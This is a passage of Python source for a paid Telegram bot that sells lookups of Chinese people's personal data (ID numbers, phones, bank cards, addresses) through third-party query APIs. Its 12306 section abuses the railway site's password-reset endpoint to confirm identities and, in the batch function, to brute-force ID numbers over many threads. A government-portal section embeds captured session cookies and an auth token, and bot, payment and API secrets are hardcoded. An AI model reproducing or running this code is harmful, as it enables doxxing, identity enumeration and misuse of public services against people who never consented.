#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import telebot
import os
import sqlite3
import threading
import requests
import random
import string
import json
import time
import re
import base64
import urllib.parse
import hmac
import hashlib
import binascii
import secrets
from datetime import datetime, timedelta
from telebot import types
import urllib3
import logging
import html
import io
import zipfile
from concurrent.futures import ThreadPoolExecutor, as_completed
from PIL import Image, ImageDraw, ImageFont
from typing import List, Dict

urllib3.disable_warnings()

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

API_TOKEN = '8587382454:AAGcqWifSXEveYO7G-NPsfrkyqwB5jopBJw'
ADMIN_IDS = {5675072126, 8208453819}
CHANNEL_USERNAME = "@JiangQ888"
CHANNEL_LINK = "https://t.me/JiangQ888"
BOT_USERNAME = "@MRXHBot"
CHECKIN_REWARD = 5
INVITE_REWARD = 3
DB_FILE = "bot_data.db"
CARD_CODE_LENGTH = 16
CARD_CODE_CHARS = string.ascii_uppercase + string.digits
DIAMOND_CARD_LENGTH = 16
DIAMOND_CARD_CHARS = string.ascii_uppercase + string.digits
OKPAY_ID = 36782
OKPAY_TOKEN = 'z56Vw5U8uCknxUsYkih6BCt1nLwqjYXB'
OKPAY_API_URL = 'https://api.okaypay.me/shop/'
CHECK_INTERVAL = 0.5
ORDER_TIMEOUT = 1800

EYS_API = "https://hmapi.zh.kg/eys.php?name={}&id={}"
SYS_API = "https://hmapi.zh.kg/sys0.php?xm={}&sfz={}&sjh={}&key=VIP4B330AF96918"
SYS_API_2 = "https://hmapi.zh.kg/sys.php?name={}&sfz={}&sjh={}&key=VIP4B330AF96918"
K4_API = "http://xiaowunb.top/k4.php?name={}&sfz={}&sjh={}&yhk={}"
K3_API = "http://xiaowunb.top/卡3.php?name={}&sfz={}&yhk={}"
YHK_API = "https://hmapi.zh.kg/bank_card.php?card={}"

ORDER_NOTICE = """📜 【客户报单必读须知】

1. 📌 查询内容：政务系统预留文字地址，综合出单率高达 90%。
2. ⏳ 数据时效：覆盖至 2022年 历史预留数据。保真、保还原，但不保证实时最新。若出现查无（空）属正常系统客观结果。
3. ⚡ 回单速度：每天三批 自动回显，后台系统马不停蹄处理中。
4. 🚫 严禁重发：请勿重复提交同一单！ 系统会判定为新订单并多次扣除积分/额度，造成的损失自行承担。"""

PLC_BACKGROUND = "fonts/jdz.png"

bot = telebot.TeleBot(API_TOKEN)
db_lock = threading.RLock()
orders = {}
user_states = {}
plc_user_data = {}
plfr_user_data = {}
order_notify_msgs = {}  # order_no -> [(admin_id, msg_id), ...]

def notify_admins_order(order_no, user_id, service_name, content_str, price):
    try:
        username = ""
        u = DBUtils.get_user(user_id)
        if u:
            username = u.get('username', '') or ''
        service_label = get_service_label(service_name)
        text = (f"🔔 新订单提醒\n━━━━━━━━━━━━━━━━━━━━\n"
                f"订单号：<code>{order_no}</code>\n"
                f"用户ID：<code>{user_id}</code>\n"
                f"用户昵称：<code>{username}</code>\n"
                f"服务：{service_label}\n"
                f"内容：{content_str}\n"
                f"消耗：{price} 💎\n"
                f"━━━━━━━━━━━━━━━━━━━━\n"
                f"⚠️ 仅提醒，处理订单后自动删除")
        msg_ids = []
        for admin_id in ADMIN_IDS:
            try:
                m = bot.send_message(admin_id, text, parse_mode='HTML')
                msg_ids.append((admin_id, m.message_id))
            except:
                pass
        if msg_ids:
            order_notify_msgs[order_no] = msg_ids
    except:
        pass

def delete_order_notify(order_no):
    msgs = order_notify_msgs.pop(order_no, None)
    if msgs:
        for admin_id, msg_id in msgs:
            try:
                bot.delete_message(admin_id, msg_id)
            except:
                pass

def init_db():
    with db_lock:
        conn = sqlite3.connect(DB_FILE, check_same_thread=False)
        c = conn.cursor()
        c.execute('''CREATE TABLE IF NOT EXISTS users (
            user_id INTEGER PRIMARY KEY,
            username TEXT,
            points INTEGER DEFAULT 0,
            diamonds INTEGER DEFAULT 0,
            last_checkin TEXT,
            is_authorized INTEGER DEFAULT 0,
            is_banned INTEGER DEFAULT 0,
            invited_by INTEGER DEFAULT 0,
            invite_count INTEGER DEFAULT 0
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS card_codes (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            card_code TEXT UNIQUE NOT NULL,
            points INTEGER NOT NULL,
            is_used INTEGER DEFAULT 0,
            use_time TEXT,
            use_user_id INTEGER
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS diamond_cards (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            diamond_card TEXT UNIQUE NOT NULL,
            diamonds INTEGER NOT NULL,
            is_used INTEGER DEFAULT 0,
            use_time TEXT,
            use_user_id INTEGER
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS invites (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            inviter_id INTEGER,
            invited_id INTEGER,
            reward_given INTEGER DEFAULT 0,
            invite_date TEXT DEFAULT CURRENT_TIMESTAMP
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS diamond_transactions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            change_type TEXT NOT NULL,
            amount INTEGER NOT NULL,
            balance INTEGER NOT NULL,
            description TEXT,
            order_no TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS feature_switches (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            feature_name TEXT UNIQUE NOT NULL,
            is_enabled INTEGER DEFAULT 1
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS service_prices (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            service_name TEXT UNIQUE NOT NULL,
            default_price INTEGER NOT NULL,
            updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS user_service_prices (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            service_name TEXT NOT NULL,
            price INTEGER NOT NULL,
            UNIQUE(user_id, service_name)
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS settings (
            key TEXT PRIMARY KEY,
            value TEXT
        )''')
        c.execute('''CREATE TABLE IF NOT EXISTS orders (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            order_no TEXT UNIQUE NOT NULL,
            user_id INTEGER NOT NULL,
            service_name TEXT NOT NULL,
            service_data TEXT NOT NULL,
            price INTEGER NOT NULL,
            status TEXT DEFAULT 'pending',
            admin_note TEXT,
            note_type TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            processed_at TIMESTAMP
        )''')
        features = ['man', 'dy', 'zhend', 'dk', 'mxh', 'eys', 'sys', 'yhk', 'k3', 'k4', 'id_extract', 'boc', 'fr', 'yyzz', 'mxqy', 'khjc', 'ltjz', 'cha', 'hnsf']
        for feat in features:
            c.execute("INSERT OR IGNORE INTO feature_switches (feature_name, is_enabled) VALUES (?, 1)", (feat,))
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('man', 20)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('dy', 10)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('zhend', 30)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('dk', 15)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('mxh', 10)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('boc', 1)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('fr', 10)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('yyzz', 7)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('mxqy', 20)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('ltjz', 50)")
        c.execute("INSERT OR IGNORE INTO service_prices (service_name, default_price) VALUES ('cha', 1)")
        c.execute("INSERT OR IGNORE INTO settings (key, value) VALUES ('sys_api_active', '1')")
        conn.commit()
        conn.close()
        logger.info("数据库初始化完成")

init_db()

class DBUtils:
    @staticmethod
    def get_user(user_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT * FROM users WHERE user_id = ?", (user_id,))
            row = c.fetchone()
            conn.close()
            if row:
                return {
                    'user_id': row[0],
                    'username': row[1],
                    'points': row[2],
                    'diamonds': row[3],
                    'last_checkin': row[4],
                    'is_authorized': row[5],
                    'is_banned': row[6],
                    'invited_by': row[7],
                    'invite_count': row[8]
                }
            return None

    @staticmethod
    def create_or_update_user(user_id, username, invited_by=0):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT user_id FROM users WHERE user_id = ?", (user_id,))
            if not c.fetchone():
                c.execute('''INSERT INTO users (user_id, username, points, diamonds, invited_by) VALUES (?, ?, 0, 0, ?)''', (user_id, username, invited_by))
                if invited_by and invited_by != 0:
                    c.execute("INSERT OR IGNORE INTO invites (inviter_id, invited_id) VALUES (?, ?)", (invited_by, user_id))
            else:
                c.execute("UPDATE users SET username = ? WHERE user_id = ?", (username, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_user_points(user_id, points):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE users SET points = points + ? WHERE user_id = ?", (points, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_user_diamonds(user_id, diamonds):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE users SET diamonds = diamonds + ? WHERE user_id = ?", (diamonds, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_checkin(user_id):
        today = datetime.now().strftime("%Y-%m-%d")
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE users SET last_checkin = ? WHERE user_id = ?", (today, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_authorization(user_id, is_authorized):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE users SET is_authorized = ? WHERE user_id = ?", (is_authorized, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_ban_status(user_id, is_banned):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE users SET is_banned = ? WHERE user_id = ?", (is_banned, user_id))
            conn.commit()
            conn.close()

    @staticmethod
    def update_invite_reward(inviter_id, invited_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT reward_given FROM invites WHERE inviter_id=? AND invited_id=?", (inviter_id, invited_id))
            row = c.fetchone()
            if row and row[0] == 0:
                c.execute("UPDATE invites SET reward_given=1 WHERE inviter_id=? AND invited_id=?", (inviter_id, invited_id))
                c.execute("UPDATE users SET points = points + ?, invite_count = invite_count + 1 WHERE user_id = ?", (INVITE_REWARD, inviter_id))
                conn.commit()
                conn.close()
                return True
            conn.close()
            return False

    @staticmethod
    def get_invite_count(user_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT invite_count FROM users WHERE user_id = ?", (user_id,))
            row = c.fetchone()
            conn.close()
            return row[0] if row else 0

    @staticmethod
    def get_pending_order_count():
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT COUNT(*) FROM orders WHERE status = 'pending'")
            count = c.fetchone()[0]
            conn.close()
            return count

    @staticmethod
    def generate_order_no(service):
        prefix_map = {'man': 'M', 'dy': 'D', 'zhend': 'Z', 'dk': 'K', 'mxh': 'X', 'boc': 'B', 'fr': 'F', 'yyzz': 'Y', 'mxqy': 'Q', 'ltjz': 'L', 'cha': 'C'}
        prefix = prefix_map.get(service, 'O')
        ts = datetime.now().strftime('%Y%m%d%H%M%S')
        rand = str(random.randint(100, 999))
        return f"{prefix}{ts}{rand}"

    @staticmethod
    def create_order(user_id, service_name, service_data, price):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            order_no = DBUtils.generate_order_no(service_name)
            c.execute('''INSERT INTO orders (order_no, user_id, service_name, service_data, price, status)
                         VALUES (?, ?, ?, ?, ?, 'pending')''',
                      (order_no, user_id, service_name, json.dumps(service_data, ensure_ascii=False), price))
            conn.commit()
            conn.close()
            return order_no

    @staticmethod
    def get_pending_orders():
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT order_no, user_id, service_name, service_data, price, created_at FROM orders WHERE status = 'pending' ORDER BY created_at ASC")
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def get_order_by_no(order_no):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT * FROM orders WHERE order_no = ?", (order_no,))
            row = c.fetchone()
            conn.close()
            if row:
                return {
                    'id': row[0],
                    'order_no': row[1],
                    'user_id': row[2],
                    'service_name': row[3],
                    'service_data': json.loads(row[4]),
                    'price': row[5],
                    'status': row[6],
                    'admin_note': row[7],
                    'note_type': row[8],
                    'created_at': row[9],
                    'processed_at': row[10]
                }
            return None

    @staticmethod
    def complete_order(order_no, admin_note, note_type):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute('''UPDATE orders SET status = 'completed', admin_note = ?, note_type = ?, processed_at = CURRENT_TIMESTAMP
                         WHERE order_no = ?''', (admin_note, note_type, order_no))
            conn.commit()
            conn.close()

    @staticmethod
    def cancel_order(order_no):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE orders SET status = 'cancelled', processed_at = CURRENT_TIMESTAMP WHERE order_no = ?", (order_no,))
            conn.commit()
            conn.close()

    @staticmethod
    def get_user_orders(user_id, limit=10):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT order_no, service_name, status, created_at FROM orders WHERE user_id = ? ORDER BY created_at DESC LIMIT ?", (user_id, limit))
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def get_service_price(service_name):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT default_price FROM service_prices WHERE service_name = ?", (service_name,))
            row = c.fetchone()
            conn.close()
            return row[0] if row else 20

    @staticmethod
    def get_user_service_price(user_id, service_name):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT price FROM user_service_prices WHERE user_id = ? AND service_name = ?", (user_id, service_name))
            row = c.fetchone()
            conn.close()
            if row:
                return row[0]
            return DBUtils.get_service_price(service_name)

    @staticmethod
    def set_service_price(service_name, price):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("UPDATE service_prices SET default_price = ?, updated_at = CURRENT_TIMESTAMP WHERE service_name = ?", (price, service_name))
            c.execute("DELETE FROM user_service_prices WHERE service_name = ?", (service_name,))
            conn.commit()
            conn.close()

    @staticmethod
    def get_all_user_service_prices():
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT u.user_id, u.username, usp.service_name, usp.price FROM user_service_prices usp LEFT JOIN users u ON usp.user_id = u.user_id ORDER BY usp.user_id, usp.service_name")
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def set_user_service_price(user_id, service_name, price):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("INSERT OR REPLACE INTO user_service_prices (user_id, service_name, price) VALUES (?, ?, ?)", (user_id, service_name, price))
            conn.commit()
            conn.close()

    @staticmethod
    def delete_user_service_price(user_id, service_name):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("DELETE FROM user_service_prices WHERE user_id = ? AND service_name = ?", (user_id, service_name))
            conn.commit()
            conn.close()

    @staticmethod
    def is_feature_enabled(feature_name):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT is_enabled FROM feature_switches WHERE feature_name = ?", (feature_name,))
            row = c.fetchone()
            conn.close()
            return row[0] == 1 if row else True

    @staticmethod
    def set_feature_switch(feature_name, enabled):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("INSERT OR REPLACE INTO feature_switches (feature_name, is_enabled) VALUES (?, ?)", (feature_name, 1 if enabled else 0))
            conn.commit()
            conn.close()

    @staticmethod
    def get_all_service_prices():
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT service_name, default_price FROM service_prices")
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def get_user_service_prices(user_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT service_name, price FROM user_service_prices WHERE user_id = ?", (user_id,))
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def get_setting(key, default=None):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT value FROM settings WHERE key = ?", (key,))
            row = c.fetchone()
            conn.close()
            return row[0] if row else default

    @staticmethod
    def set_setting(key, value):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("INSERT OR REPLACE INTO settings (key, value) VALUES (?, ?)", (key, value))
            conn.commit()
            conn.close()

    @staticmethod
    def generate_card_code(points, count):
        card_codes = []
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            for _ in range(count):
                while True:
                    code = ''.join(random.choice(CARD_CODE_CHARS) for _ in range(CARD_CODE_LENGTH))
                    c.execute("SELECT id FROM card_codes WHERE card_code = ?", (code,))
                    if not c.fetchone():
                        break
                c.execute("INSERT INTO card_codes (card_code, points) VALUES (?, ?)", (code, points))
                card_codes.append((code, points))
            conn.commit()
            conn.close()
        return card_codes

    @staticmethod
    def use_card_code(card_code, user_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT id, points FROM card_codes WHERE card_code = ? AND is_used = 0", (card_code,))
            row = c.fetchone()
            if not row:
                conn.close()
                return False, 0
            use_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            c.execute("UPDATE card_codes SET is_used = 1, use_time = ?, use_user_id = ? WHERE card_code = ?", (use_time, user_id, card_code))
            conn.commit()
            conn.close()
            return True, row[1]

    @staticmethod
    def generate_diamond_card(diamonds, count):
        diamond_cards = []
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            for _ in range(count):
                while True:
                    code = ''.join(random.choice(DIAMOND_CARD_CHARS) for _ in range(DIAMOND_CARD_LENGTH))
                    c.execute("SELECT id FROM diamond_cards WHERE diamond_card = ?", (code,))
                    if not c.fetchone():
                        break
                c.execute("INSERT INTO diamond_cards (diamond_card, diamonds) VALUES (?, ?)", (code, diamonds))
                diamond_cards.append((code, diamonds))
            conn.commit()
            conn.close()
        return diamond_cards

    @staticmethod
    def use_diamond_card(card_code, user_id):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT id, diamonds FROM diamond_cards WHERE diamond_card = ? AND is_used = 0", (card_code,))
            row = c.fetchone()
            if not row:
                conn.close()
                return False, 0
            use_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            c.execute("UPDATE diamond_cards SET is_used = 1, use_time = ?, use_user_id = ? WHERE diamond_card = ?", (use_time, user_id, card_code))
            conn.commit()
            conn.close()
            return True, row[1]

    @staticmethod
    def get_all_users():
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT user_id, username, points, diamonds, is_authorized, is_banned, invite_count FROM users")
            rows = c.fetchall()
            conn.close()
            return rows

    @staticmethod
    def log_diamond_transaction(user_id, change_type, amount, description, order_no=''):
        with db_lock:
            conn = sqlite3.connect(DB_FILE, check_same_thread=False)
            c = conn.cursor()
            c.execute("SELECT diamonds FROM users WHERE user_id = ?", (user_id,))
            row = c.fetchone()
            balance = row[0] if row else 0
            c.execute('''INSERT INTO diamond_transactions (user_id, change_type, amount, balance, description, order_no)
                         VALUES (?, ?, ?, ?, ?, ?)''', (user_id, change_type, amount, balance, description, order_no))
            conn.commit()
            conn.close()

class OkayPay:
    def __init__(self, appid, token, api_url):
        self.appid = appid
        self.token = token
        self.api_url = api_url

    def _flatten(self, data, prefix=''):
        out = {}
        for k, v in data.items():
            key = str(k) if prefix == '' else f"{prefix}.{k}"
            if isinstance(v, dict):
                out.update(self._flatten(v, key))
                continue
            if isinstance(v, bool):
                out[key] = 'true' if v else 'false'
                continue
            if v is None or v == '':
                continue
            out[key] = str(v)
        return out

    def _build_base(self, params):
        data = {k: v for k, v in params.items() if k != 'sign'}
        flat = self._flatten(data)
        sorted_keys = sorted(flat.keys())
        return '&'.join(f"{k}={flat[k]}" for k in sorted_keys)

    def _sign(self, params):
        base = self._build_base(params).encode('utf-8')
        return hmac.new(self.token.encode('utf-8'), base, hashlib.sha256).hexdigest().upper()

    def _signed_request(self, params):
        p = dict(params)
        p['id'] = self.appid
        p['timestamp'] = int(time.time())
        p['nonce'] = secrets.token_hex(8)
        p['sign'] = self._sign(p)
        return p

    def _request(self, endpoint, params):
        submit_params = self._signed_request(params)
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        url = self.api_url + endpoint
        try:
            resp = requests.post(url, data=submit_params, headers=headers, timeout=15, verify=False)
            if resp.status_code == 200:
                return resp.json()
            else:
                return {'code': -1, 'error': f'HTTP {resp.status_code}', 'body': resp.text}
        except Exception as e:
            return {'code': -1, 'error': str(e)}

    def pay_link(self, amount, unique_id):
        params = {
            'unique_id': unique_id,
            'name': '钻石充值',
            'amount': str(amount),
            'coin': 'USDT'
        }
        return self._request('payLink', params)

    def check_deposit(self, unique_id):
        params = {'unique_id': unique_id}
        return self._request('checkDeposit', params)

client = OkayPay(OKPAY_ID, OKPAY_TOKEN, OKPAY_API_URL)

def check_orders():
    while True:
        try:
            now = time.time()
            expired_orders = []
            for unique_id, order_info in list(orders.items()):
                if now - order_info['timestamp'] > ORDER_TIMEOUT:
                    expired_orders.append(unique_id)
                    continue
                if order_info['status'] == 'pending':
                    result = client.check_deposit(unique_id)
                    if result and result.get('code') == 200:
                        data = result.get('data', {})
                        status = data.get('status')
                        if status == 1:
                            user_id = order_info['user_id']
                            amount = float(data.get('amount', 0))
                            diamonds = int(amount * 10)
                            DBUtils.update_user_diamonds(user_id, diamonds)
                            DBUtils.log_diamond_transaction(user_id, 'recharge', diamonds, f'充值 {amount} USDT', unique_id)
                            stats = DBUtils.get_user(user_id)
                            try:
                                bot.send_message(user_id,
                                    f"✅ 支付成功！\n充值: {amount} USDT\n获得钻石: {diamonds}\n当前钻石: {stats['diamonds']}")
                            except Exception as e:
                                pass
                            orders[unique_id]['status'] = 'completed'
            for unique_id in expired_orders:
                user_id = orders[unique_id]['user_id']
                try:
                    bot.send_message(user_id, f"⏰ 订单 {unique_id} 已过期，请重新创建")
                except:
                    pass
                del orders[unique_id]
        except Exception as e:
            pass
        time.sleep(CHECK_INTERVAL)

threading.Thread(target=check_orders, daemon=True).start()

def check_channel_membership(user_id):
    try:
        member = bot.get_chat_member(CHANNEL_USERNAME, user_id)
        return member.status in ['member', 'administrator', 'creator']
    except Exception:
        return False

def send_channel_required_message(chat_id):
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    keyboard.add(
        telebot.types.InlineKeyboardButton("加入频道", url=CHANNEL_LINK),
        telebot.types.InlineKeyboardButton("我已加入", callback_data="check_joined")
    )
    bot.send_message(chat_id, f"请先加入频道才能使用机器人：\n\n{CHANNEL_LINK}\n\n加入后请点击「我已加入」按钮", reply_markup=keyboard)

def clean_ad_content(content):
    ad_list = ["小无API", "@XWQW91", "@XWAN78", "小无API", "官方频道", "官方客服",
               "──────────────────────────────────────────", "══════════════════════════════════════════",
               "@XWGFTG", "@XWYPW", "XWGFTG", "XWYPW", "小无", "API", "联系客服", "充值", "会员"]
    for ad in ad_list:
        content = content.replace(ad, "")
    lines = [line.strip() for line in content.split('\n') if line.strip()]
    result = '\n'.join(lines)
    if not result or result == "参数错误":
        return "未查询到相关信息"
    return result

def create_collapsible_text(title, content, footer=""):
    result = f"<blockquote><b>{title}</b>\n{content}\n"
    if footer:
        result += f"\n{footer}"
    result += "</blockquote>"
    return result

def query_eys(name, sfz):
    try:
        url = EYS_API.format(name, sfz)
        response = requests.get(url, timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        return clean_ad_content(result)
    except Exception as e:
        return f"核验失败：{str(e)}"

def query_sys(name, phone, idcard):
    try:
        api_choice = DBUtils.get_setting('sys_api_active', '1')
        if api_choice == '2':
            url = SYS_API_2.format(name, idcard, phone)
        else:
            url = SYS_API.format(name, idcard, phone)
        response = requests.get(url, timeout=60)
        response.encoding = response.apparent_encoding
        result = response.text.strip()
        result = clean_ad_content(result)
        return result
    except Exception as e:
        return f"三要素核验失败：{str(e)}"

# ==================== 12306核验 ====================
_12306_session = requests.Session()
_12306_COOKIE_URL = "https://kyfw.12306.cn/otn/forgetPassword/initforgetMyPassword"
_12306_API_URL = "https://kyfw.12306.cn/otn/forgetPassword/checkUserInfo"
_12306_HEADERS = {
    "Host": "kyfw.12306.cn",
    "Connection": "keep-alive",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Linux; Android 9; INE-AL00; HMSCore 6.13.0.351; GMSCore 19.6.29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 HuaweiBrowser/11.0.7.303 Mobile Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "https://kyfw.12306.cn",
    "Referer": "https://kyfw.12306.cn/otn/forgetPassword/initforgetMyPassword",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
}

def verify_12306(name, id_no, phone):
    try:
        _12306_session.get(_12306_COOKIE_URL, timeout=10)
        data = {
            "mobile_no": phone,
            "loginUserDTO.mobile_code": "86",
            "loginUserDTO.id_type_code": "1",
            "loginUserDTO.id_no": id_no
        }
        resp = _12306_session.post(_12306_API_URL, headers=_12306_HEADERS, data=data, timeout=10)
        if resp.status_code == 200:
            res = resp.json()
            if res.get("status") is True and not res.get("data", {}).get("errorMsg"):
                return "✅ 核验一致"
        return "❌ 核验不一致"
    except Exception as e:
        return f"⚠️ 12306核验异常：{str(e)}"

_12306_batch_stop_event = None
_12306_batch_lock = threading.Lock()
_12306_batch_matched = None

def _12306_verify_single(name, id_no, phone, stop_event):
    if stop_event.is_set():
        return None
    data = {
        "mobile_no": phone,
        "loginUserDTO.mobile_code": "86",
        "loginUserDTO.id_type_code": "1",
        "loginUserDTO.id_no": id_no
    }
    for attempt in range(3):
        if stop_event.is_set():
            return None
        try:
            resp = _12306_session.post(_12306_API_URL, headers=_12306_HEADERS, data=data, timeout=10)
            if resp.status_code == 200:
                res = resp.json()
                if res.get("status") is True and not res.get("data", {}).get("errorMsg"):
                    stop_event.set()
                    return id_no
                else:
                    return None
            else:
                return None
        except requests.RequestException:
            time.sleep(1)
        except ValueError:
            return None
    return None

def verify_12306_batch(name, phone, idcards):
    from concurrent.futures import ThreadPoolExecutor, as_completed
    stop_event = threading.Event()
    matched_id = None
    try:
        _12306_session.get(_12306_COOKIE_URL, timeout=10)
    except:
        pass
    MAX_WORKERS = min(15, max(5, len(idcards)))
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        tasks = {}
        for val in idcards:
            if stop_event.is_set():
                break
            task = executor.submit(_12306_verify_single, name, val, phone, stop_event)
            tasks[task] = val
        for future in as_completed(tasks):
            result = future.result()
            if result:
                matched_id = result
                executor.shutdown(wait=False, cancel_futures=True)
                break
    return matched_id


# ==================== 海南神父查询 ====================
HAINAN_COOKIES = {
    "cna": "3f2cbf1283ce4729b5afd3dafe7f0303",
    "JSESSIONID": "D91C17172E7193CD954AF81669BAD479",
    "SESSION": "ba630744-dab9-4980-891c-6e507c06091b",
    "SERVERID": "85da63bff3971acc08f3b7b81c21ab6b|1772897554|1772897407",
}
HAINAN_HEADERS1 = {
    "Host": "zwfw.dn.haikou.gov.cn",
    "Connection": "keep-alive",
    "sec-ch-ua-platform": "\"Android\"",
    "zwfw-token": "authCode-d5e99744-bf62-447c-be8a-b9149b9cbc73",
    "User-Agent": "Mozilla/5.0 (Linux; Android 14; MEIZU 21 Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/141.0.7390.97 Mobile Safari/537.36 AgentWeb/5.0.0  yssApp",
    "sec-ch-ua": "\"Android WebView\";v=\"141\", \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"141\"",
